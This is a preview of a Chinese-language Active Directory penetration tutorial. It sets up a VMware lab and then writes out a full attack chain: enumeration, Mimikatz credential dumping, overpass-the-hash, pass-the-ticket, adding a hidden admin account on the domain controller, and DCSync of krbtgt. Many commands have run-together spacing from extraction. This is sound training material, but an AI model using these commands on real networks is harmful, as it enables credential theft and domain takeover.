2022域渗透从⼊入⻔门防护_第1页
2022域渗透从⼊入⻔门防护_第2页
2022域渗透从⼊入⻔门防护_第3页
2022域渗透从⼊入⻔门防护_第4页
2022域渗透从⼊入⻔门防护_第5页
已阅读5页,还剩36页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

域渗透从入门防护手册前期准备前言本系列在于从简单的Windows域环境搭建到利用域的特性,通过哈希传递攻击、凭证窃取技术结合互联网公布现成的安全研究工具,进行域横向移动渗透,最终到达我们目标,拿到ad域控制器权限。实验环境设置下面列出本次实验环境计算机跟练习中的一些配置设置,均在VMWARE下完成。我们的域名将被命名为公司,因此创建域,然后将这些PC电脑加入域,let’sgo!本次实验环境一共有三台电脑,一台AD域控制器DC,另外两台员工PC。系统ISO下载地址:/WindowsServer2012(DC1)修改计算机名修改IP地址服务器管理器—角色—添加AD一路下一步,到服务器角色选择ActiveDirectory域服务,添加功能继续一路下一步,到指定备用源选择自己WindowsServer2012R2的安装光盘位置路径,这里我的光盘路径是D:\source\sxs,指定完后确定,点击安装安装AD域控制器回到我们服务器管理器界面,点击输入一个符合复杂度的密码,点击下一步。域数据存放位置一路下一步,安装。Windows7(Admins-PC/Victims-PC)另外两台PC配置类似设置计算机名设置IP地址加入域控两台机器加入完域后,必须重启计算机。关闭防火墙重启完电脑后,把所有防火墙关闭现在所有的电脑都加入了域,接下来我们添加一些账号跟组到域环境当中。域账号设置在本次实验练习当中,你将看到helpdesk帮助台和域管理员之间进行分离,但其实并没有什么用,不足以防止凭证窃取。让我们创建一个helpdesk组作为安全组进行分离。组名成员描述HelpdeskPonyM用于管理域客户端开始菜单->运行>dsa.msc->容器Users->右击新建->点击组->输入组名HelpDesk->确定或直接在域控服务器下以administrator权限输入命令netgroupHelpDesk/add/domain进行创建安全组HelpDesk让我们在域中创建三个用户姓名登录账号描述登录机器JackMaJackM悔创阿里Jack马,是遭受钓鱼邮件的受害者VICTIMS-PCPonyMaPonyM普通家庭Pony马,是IT部门人员,同时也是”Helpdesk”安全组的成员。VICTIMS-PCADMINS-PCRobinLiRobinL再赢一次Robin李,是域管理员。ADMINS-PCAD域控制器依次按照以下步骤重复新建3个用户Jackma/Ponyma/RobinLi-以及添加RobinLi到域管理员或直接在域控服务器下以administrator权限输入命令netuserJackMpassword123!@#/add/domainnetuserPonyMpassword456!@#/add/domainnetuserRobinLpassword789!@#/add/domainnetgroup“DomainAdminis”RobinL/add最后创建了三个账号以及一个安全组对了别忘记把PonyMa加入HelpDesk安全组右击PonyMa属性->隶属于->添加->HelpDesk->确定或直接在域控服务器下以administrator权限输入命令netgrouphelpdeskPonyM/add/domain我们的域管理员RobinLi日常使用ADMINS-PC。其中Helpdesk(PonyMa是其中一员)可以管理ADMINS-PC的计算机。搜索对应组输入域账号密码,确定接着JackMa以及HelpDesk将被添加到他的个人终端电脑(VICTIMS-PC)管理员权限本次实验工具将在VICTIMS-PC电脑上安装以下工具,文件存储于Mimikatz:/gentilkiwi/mimikatz/releasesPowerSploit:/PowerShellMafia/PowerSploit/releasesPsExec:/en-us/sysinternals/downloads/psexecNetSess.exe:\h/freetools/tools/netsess/index.htm注意本次实验练习过程,需关闭防病毒软件,这些工具仅供测试使用。另外相关的软件源码属于开源的,攻击者可以根据源码,针对病毒库内特征码进行二次开发以躲避杀毒软件的查杀。假设在我们的示例中,JackM是他自己的工作站的管理员。许多客户端的用户仍然以管理员权限运行。在这种情况下,由于对手已经在执行渗透后操作的环境中拥有管理员访问权限,因此无需进行本地升级攻击。但是,即使IT部门减少了使用非管理员帐户的特权,也会执行其他形式的攻击(例如,已知的应用程序1Day/NDay漏洞,0Day等)来实现本地特权提升。在这种情况下,我们的假设很简单:对手在Victim-PC上实现了本地特权升级。正如我们将在下面讨论的那样,在我们的虚拟实验环境中,这是通过给JackM的IM通讯软件发送一封鱼叉式通告文件实现的。环境拓扑接下来我们的实验环境跟以上拓扑图一样,我们域之间有通过组来进行角色分离,接下来我们将模拟攻击者进行域内横向渗透,利用上面现有的工具接管整个域控。模拟HelpDesk帮助台模拟常见的HelpDesk帮助台场景,其中HelpDesk帮助台成员PonyMa登录到VICTIMS-PC,然后点击开始菜单,切换用户,切换至JackMa身份登录,模拟特权用户登录此工作站上的凭证管理。我们可以选择其他方式进行模拟本次实验,比如创建批处理脚本进行服务账户管理、计划任务、RDP会话或者”runas”命令行。本地特权管理员在一天结束之内,基本都会使用以上相关操作,这里我们选择最快的方式进行模拟这个过程。不要注销或者重启VICTIMS-PC,因为这会导致内存清除PonyMa的凭证。计算机计算机上保存的凭证ADMINS-PCRobinLVICTIMS-PCJackMPonyM(由设置helpdesk场景引起)我们的实验环境已经准备好了,接下来我们来正式模拟攻击者如何从一个最低权限的账号横向到域控制器。通过鱼叉攻击最近新冠病毒疫情原因,JackMa作为一名家长,时刻关注小学什么时候才正式开学,好把家里的”混世小魔王”赶快送去学校。这一天他在办公室操作电脑,临近下班,突然孩子班级家长QQ群里,班主任传出来一份文件,JackMa当时想都没想,直接在公司的电脑打开连接,下载了文件,打开运行。正式开始攻击我们的游戏开始了,按照真实环境进行模拟后渗透中攻击者的活动。侦察一旦攻击者进入到域环境中,侦察就开始了,在这个阶段中对手花时间进行研究域内环境,进行信息收集,枚举安全组和其他活动目录对象,以根据获取的信息绘制一个攻击的路线图。DNS协议侦察大部分攻击者进入域内第一件事要做的就是尝试接收DNS的所有内容。行动:DNS侦察在以JackM身份登录的VICTIMS-PC上,攻击者刚刚入侵的PC,以用户运行以下命令:nslookupls–d幸运的是,我们的DNS配置为默认阻止此DNS针对域进行转储。但如果不当的配置将会导致DNS域传送泄露漏洞,任何匿名用户都可以获取DNS服务器对应域的所有记录,直接把企业域内基础服务跟网络架构暴露,从而造成严重信息泄露,导致攻击者可利用相关信息进行下一步的渗透。目录服务枚举安全帐户管理器远程协议(SAMR)为域中的用户和组提供管理功能。了解用户、组和权限之间的关系对于攻击者来说非常重要。任何经过身份验证的用户都可以执行这些命令。枚举所有的用户和组列举用户和组对攻击者非常有用。知道用户名和组名会很方便。作为一名攻击者,你要尽可能多地收集信息,毕竟这是侦察阶段。行动:枚举用户和组使用JackM帐户,登录到VICTIMS-PC上,并尝试使用以下命令拉取所有域用户和组:netuser/domainnetgroup/domain这些操作都属于普通用户使用合法凭证可以进行的操作,现在攻击者已经了解域中所有用户和组信息。枚举高特权用户攻击者现在同时拥有用户列表和组列表。但知道谁在哪个组中也很重要,特别是对于企业管理员“EnterpriseAdmins”和域管理员“DomainAdmins”这样的高特权组。我们就这样…行动:枚举域管理员在VICTIMS-PC上以JackM的身份运行以下命令:netgroup“domainadmins”/domain攻击者现在拥有所有用户和组,并知道哪些用户属于特权域管理员“DomainAdmins”组。攻击者不会就此停止进攻,他们知道企业管理员和域管理员之间没有安全边界,因此他们也会获取企业管理员列表。行动:枚举企业管理员要获取此企业管理员组的成员,请在VICTIMS-PC上运行以下命令:netgroup“enterpriseadmins”/domain在企业管理员组中有一个帐户不太有趣,因为它只是默认设置,但攻击者在JackM帐户中获取更多的信息,并已识别他们最想攻击的用户是谁。SMB会话枚举攻击者知道他们愿意为获得最大的凭据而想妥协的人,但是他们并不完全知道如何对那些凭据进行妥协,对叭?SMB枚举可以为暴露这些非常有趣的帐户的位置,给攻击者提供精确的位置。所有经过身份验证的用户必须连接到域控制器以处理组策略(针对SYSVOL),从而使SMB枚举成为攻击者的重要工具。这使域控制器成为执行SMB枚举的主要目标行动:对DC执行SMB会话枚举若要枚举连接到特定计算机的用户,在这种情况下,请转到VICTIMS-PC上的Netess本地保存的位置并运行以下命令:NetSess.exe根据前面的信息我们已经知道RobinL是域管理员,现在通过SMB会话枚举,攻击者得知RobinL的IP地址(1)横向移动仅需采取几个步骤,您就已经可以获得很多信息。至此,目标变成了您发现的IP地址:1(公开了RobinL的计算机凭据)。枚举在内存中的凭据Victim-PC不仅具有JackM的凭据,而且还有许多其他帐户可能对攻击者有用。我们来列举一下Victim-PC上的内存中凭据。幸运的是,有一个用于此目的的工具:Mimikatz。行动:从VICTIMS-PC转储凭据从VICTIMS-PC上以管理员权限运行命令提示符,转到保存Mimikatz的工具文件夹,并执行以下命令:mimikatz.exe“privilege::debug”“sekurlsa::logonpasswords”“exit”>>c:\VICTIMS-PC.txt上面的命令将执行Mimikatz,然后在内存中获取凭据。这个工具会把它写进一个名为“VICTIMS-PC.txt”的文本文件”.打开“VICTIMS-PC.txt”文件“看看你能找到什么。行动:解析Mimikatz的凭证转储输出使用记事本打开文件“VICTIMS-PC.txt“。如果你的文件,看起来不像这个例子,是因为不同的密码或使用的操作系统可能不同,以及默认密码策略设置为开/关。攻击者找到了JackM的凭据,这将允许他们伪装成JackM。攻击者还发现了计算机帐户,该帐户与用户帐户一样,可以添加到其他计算机的本地管理组和其他高权限安全组中。这在这种情况下并不有用,但你应该始终记住,计算机帐户也可以映射到其他地方的特权。攻击者还发现了一个潜在的易攻击的帐户PonyM。记住,PonyM是在安装阶段登录到受害者电脑的。那个凭证当时暴露在内存中的LSASS.EXE进程中,Mimikatz给了攻击者下一步进攻的可能性。当你针对域管理员或企业管理员中的用户进行枚举时,PonyM没有列出,但请记住,你现在可以访问他的凭据。但是要注意的是,在某些情况下,这个Mimikatz转储凭证可能会显示明文密码,当环境未更新或未配置为阻止WDigest时。最新的环境(Win8&Win10&Win&Service2012以上),遵循最佳实践,将返回一个空密码字段。最后,在使用PonyM的帐户之前,让我们看看它是否有任何价值。让我们用那个帐户做些信息收集。有关WDigest的更多信息,请参阅:/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/行动:对PonyM帐户执行信息收集在VICTIMS-PC的命令行中,执行以下操作:netuserPonyM/domain攻击者将得知PonyM是HelpDesk帮助台的成员。PonyM的帐户对攻击者来说很有趣。但是,还需要进一步的分析,以查看该帐户是否在其他计算机上具有管理员权限。毕竟,使用它横向移动到另一台计算机上却发现它的权限比攻击者已经拥有的权限低是没有意义的。行动:枚举远程计算机的成员身份这里使用的工具是PowerSploit,渗透测试人员使用的其中一个PowerShell模块。打开一个PowerShell会话,并遍历PowerSploit保存在VICTIMS-PC本地上的位置。在PowerShell控制台中,执行:Import-Module.\PowerSploit.psm1Get-NetLocalGroup1在第一行中,将PowerSploit模块导入内存,在第二行中执行该模块提供的函数之一,在本例中为GetNetLocalGroup。同样,1是5.行动:对DC执行SMB会话枚举阶段发现的IP地址。攻击者刚刚发现以下内容:1连接到ADMINS-PC(我们将IP地址解析为计算机名也通过powerspoit)“/DomainAdmins“和”/HelpDesk“是管理员组PonyM是Helpdesk组的成员,因此PonyM可以授予攻击者在ADMINS-PC上的管理员权限(攻击者从前期的信息收集中知道RobinL在其中)。攻击者使用这种类似关系之间关联的思考方式是发现网络中的关系,下一步攻击者应该如何使用PonyM进行横向移动?哈希传递攻击(Overpass-the-Hash)如果攻击者所处的环境没有禁用WDigest,则已经游戏结束了,因为他们使用的是明文密码。但是,本着学习的精神,让我们更加努力,假设您不知道/无法访问明文密码。那么,只要访问PonyM的NTLM散列,你能做什么?使用名为OverpasstheHash的技术,您可以获取NTLM散列,并使用它通过Kerberos\ActiveDirectory获取票据,授予票据TGT(TicketGrantingTicket)。有了TGT,你可以伪装成PonyM并访问PonyM可以访问的任何域资源。行动:对PonyM进行哈希传递攻击在这里你将再次使用Mimikatz。从VICTIMS-PC那里复制PonyM的NTLM散列VICTIMS-PC.txt文件,早期获取(6.行动:从VICTIMS-PC转储凭据)。在VICTIMS-PC上,转到文件系统中存储Mimikatz的位置,并执行以下命令:Mimikatz.exe“privilege::debug”“sekurlsa::pth/user:PonyM/ntlm:[ntlmhash]/domain:”“exit”用来自VICTIMS-PC上的VICTIMS-PC.txt文件中PonyM的NTLM值进行替换[ntlmhash]执行完上面命令后,将打开新的命令行提示会话,这个新的命令提示符将PonyM的凭据注入。让我们验证一下,看看是否可以读取Admins-PC的C$内容,这是用户JackM根本没有权限进行操作的事情。行动:使用PonyM的凭证读取Admins-PC的C$在新命令提示符下,运行以下命令:dir\\admin-pc\c$是的,攻击者现在可以访问Admins-PC的C盘,让我们验证一下,打开的新命令提示符注入了PonyM的Ticket票据,而且您并没有误认为JackM具有读取权限。行动:在哈希传递攻击过的命令提示符下检查Ticket票据在从哈希传递攻击(Overpass-the-hash)攻击打开的新命令提示符中,执行以下命令:klist这个命令确认你当前使用合法的凭证,用以访问管理ADMINS-PC。域权限提升攻击者现在可以访问Admins-PC,这是一台从早期的侦察中识别出的能够危害高权限帐户RobinL的良好攻击载体的计算机。攻击者现在想进入Admins-PC,提升其在域中的权限。收获凭证执行哈希传递攻击将允许我们横向移动到Admins-PC。接着我们需要将攻击者工具移动到Admins-PC上,特别是Mimikatz和PsExec。行动:针对Admin-PC执行Mimikatz在PonyM上下文中运行的新命令提示符下,转到Victim-PC中Mimikatz所在的文件系统部分。运行以下命令:xcopymimikatz\\admin-pc\c$\temp接下来,远程执行MimiKatz以从Admin-PC导出所有Kerberos票据:psexec.exe\\admins-pc-accepteulacmd/c(cdc:\temp^&mimikatz.exe“privilege::debug”“sekurlsa::tickets/export”“exit”)由于我们仅对RobinL的票据感兴趣,因此我们仅将RobinL的票据复制回Victim-PC:copy\\admins-pc\c$\temp\*robinl*c:\temp\tickets既然我们已经复制了Admins-PC的凭证,就可以删除复制过来的文件和导出的票据,清除痕迹。rmdir\\admins-pc\c$\temp/s/q刚才发生了什么?攻击者已成功将Mimikatz工具复制到Admins-PC。他们成功地远程执行了Mimikatz,从Admins-PC导出了所有Kerberos票据。最后,攻击者将结果复制回Victims-PC,现在有了RobinL的凭据,而不必利用他的电脑(Admins-PC)!Pass-the-Ticket我们可以用这些票据做什么?我们可以直接将它们传递到内存中,并像使用RobinL一样使用它们来访问资源。攻击者已准备好将其导入Victims-PC的内存中,以获取要访问的凭据敏感资源。验证您没有对DC1域控制器的域管理员级别访问权限从命令提示符处执行以下操作:dir\\dc1\c$klist如我们所见,我们正在使用PonyM的票据,并且PonyM无权访问的DC1下的C盘目录。行动:Pass-the-Ticket在命令提示符下切换到Minikatz目录下进行权限提升,执行以下命令:mimikatz.exe“privilege::debug”“kerberos::pttc:\temp\tickets”“exit”\h确保已成功导入RobinL@票据,如上所述。现在,让我们验证命令提示会话中是否有正确的票据。行动:验证票据是否已导入在刚才已经提升权限的命令提示符下进行以下操作:klist攻击者现在已成功将捕获的票据导入会话,现在将利用他们的新权限和访问权限访问域控制器DC1下的C盘目录。行动:使用RobinL的凭据访问dc1\c$的内容在刚刚导入票据的同一命令提示符中执行以下操作。dir\\dc1\c$无论出于何种目的,攻击者现在都处于互联网中。只有管理员RobinL才能访问域控制器的根目录。攻击者正在使用合法凭据,可以访问合法资源并执行合法可执行文件。大多数IT安全设备、软件等都会对在其环境中进行的这种域内后渗透活动视而不见。远程命令执行针对DC的远程代码执行是每个攻击者都希望做的事情,对我们的身份层本身进行修改会使检测他们的存在变得非常困难。让我们执行远程命令将用户添加到域中,并使用RobinL的合法凭据将他们添加到“Administrators”安全组中。使用内置工具,无需恶意软件或黑客工具。行动:对DC1远程执行命令添加管理员在加载RobinL的Kerberos票据的命令提示符下,执行以下操作:wmic/node:dc1processcallcreate“netuseradmin1$1234abcd!!/add”wmic/node:dc1processcallcreate“netlocalgroupadministratorsadmin1$/add”或psexec\\dc1-accepteulanetuseradmin$1234abcd!!/addpsexec\\dc1-accepteulanetlocalgroupAdministratorsadmin$/add域控制权

向域中添加管理员攻击者已经获得了域控制权,他们可以作为管理员运行任何代码,并访问域中的任何资源。然而,为了确保域控制的持久性,后门和其他机制作为保障,以防原始攻击方法被发现,或证书随机重置。首先你要破坏KRBTGT用户的凭据帐户。此帐户充当密钥分发中心(KDC)服务的服务帐户。一旦您破坏了KRBTGT帐户,您将能够生成Kerberos票据有效期10年。直流同步:破坏KRBTGT到目前为止,攻击者在DC上所做的一切都要求他们在DC上运行任意代码。如果攻击者决定运行更隐蔽的攻击,即不在DC上运行任意代码的攻击(没有PsExec或将用户添加到提升的组中),该怎么办。Mimikatz,有一个叫做“DCSync”的功能。这允许攻击者使用域管理凭据将任何凭据复制回它们,就像它们是DC域控制器一样。行动:破坏KRBTGT证书如果关闭了命令提示符,则打开具有RobinL凭据的命令提示符,回到第14步行动。转到命令提示符,确保RobinL的票据仍然被注入到会话中。klist从krbtgt验证RobinL/现在,我们知道自己在正确的控制台上工作,我们可以模拟攻击者并尝试获取域的最终凭证:KRBTGT。为什么是这个账户?用这个帐户,你可以签你自己的票据。行动:执行DCsync同步从Victim-PC上现已验证的RobinL命令提示符,遍历到文件系统上Mimikatz所在的位置,然后执行以下命令:mimikatz.exe“lsadump::dcsync/domain:/user:krbtgt”“exit”>>c:\krbtgt-export.txt针对krbtgt帐户的DCsync同步一旦攻击者打开“krbtgt-export.txt“他们将得到所需的KRBTGT票据详细信息。打开“krbtgt-export.txt“我们刚刚将hasndump哈

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论